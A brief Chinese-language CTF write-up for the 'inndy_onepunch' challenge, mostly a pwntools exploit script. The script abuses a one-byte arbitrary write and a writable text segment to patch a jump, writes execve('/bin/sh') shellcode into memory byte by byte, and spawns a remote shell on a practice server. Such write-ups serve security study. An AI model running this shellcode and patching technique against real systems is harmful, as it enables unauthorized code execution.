inndy_onepunch
用IDA分析一下程序,任意地址写一个字节。
想不到的是,text段可以修改,因此,我们可以直接修改text的指令,来达到多次利用。
#coding:utf8
#想不到text段竟然可以写
from pwn import *
context(os='linux',arch='amd64')
#sh = process('./onepunch')
sh = remote('node3.buuoj.cn',29567)
text = 0x400767
def writeData(addr,data):
sh.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
#通过一字节读写,我们修改text里的跳转
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,'\x00')))
#修改jnz指令为jmp
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,'\x00')))
shellcode = asm('''mov rax,0x0068732f6e69622f
push rax
mov rdi,rsp
mov rax,59
xor rsi,rsi
mov rdx,rdx
syscall
''')
shellcode_addr = 0x0000000000400769
i = 0
for x in shellcode:
data = u8(x)
writeData(shellcode_addr + i,data)
i = i + 1
#跳转到shellcode
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))
sh.interactive()
由此,查阅资料知道了,修改text段可写,可以利用工具objcopy --writable-text来实现。因此,有时实在没办法,我们可以尝试一下text段是否可写。